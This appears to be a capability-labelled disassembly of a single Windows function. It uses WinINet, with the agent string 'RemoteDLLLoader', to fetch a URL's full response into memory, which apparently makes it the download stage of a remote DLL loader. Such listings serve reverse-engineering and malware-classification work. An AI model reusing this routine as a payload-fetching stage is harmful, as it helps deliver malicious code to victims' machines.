Function at 0x405a3c
Capabilities:
Connect to http server
Create http request
Get http content length
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x994
mov dword [ebp - 0x96c], ecx
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x5c]
mov eax, 0
mov ecx, 0xf
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x15c], 0
lea edx, [ebp - 0x158]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x55c], 0
lea edx, [ebp - 0x558]
mov eax, 0
mov ecx, 0xff
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x3c
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], 0x100
lea eax, [ebp - 0x55c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x400
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
lea edx, [ebp - 0x5c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._InternetCrackUrlA_16
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x405b06
mov eax, 0
jmp 0x405dfb
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.RemoteDLLLoader
call sym._InternetOpenA_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x405b48
mov eax, 0
jmp 0x405dfb
movzx eax, word [ebp - 0x44]
movzx eax, ax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x15c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetConnectA_32
sub esp, 0x20
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x405bb4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, 0
jmp 0x405dfb
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x80000000
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.HTTP_1.1
lea eax, [ebp - 0x55c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40705d
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._HttpOpenRequestA_32
sub esp, 0x20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x405c37
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._HttpSendRequestA_20
sub esp, 0x14
test eax, eax
jne 0x405c3e
mov eax, 1
jmp 0x405c43
mov eax, 0
test al, al
je 0x405c6d
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, 0
jmp 0x405dfb
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x95c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetReadFile_16
sub esp, 0x10
mov dword [ebp - 0x960], 0
mov dword [ebp - 0x964], 4
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x964]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x960]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x20000005
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._HttpQueryInfoA_20
sub esp, 0x14
mov eax, dword [ebp - 0x960]
test eax, eax
jne 0x405d18
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, 0
jmp 0x405dfb
mov eax, dword [ebp - 0x960]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x405d63
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, 0
jmp 0x405dfb
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
lea eax, [ebp - 0x95c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x960]
cmp dword [ebp - 0xc], eax
jae 0x405dc6
mov eax, dword [ebp - 0x960]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
add ecx, edx
lea edx, [ebp - 0x20]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetReadFile_16
sub esp, 0x10
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], eax
jmp 0x405d85
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 4]
leave
ret 8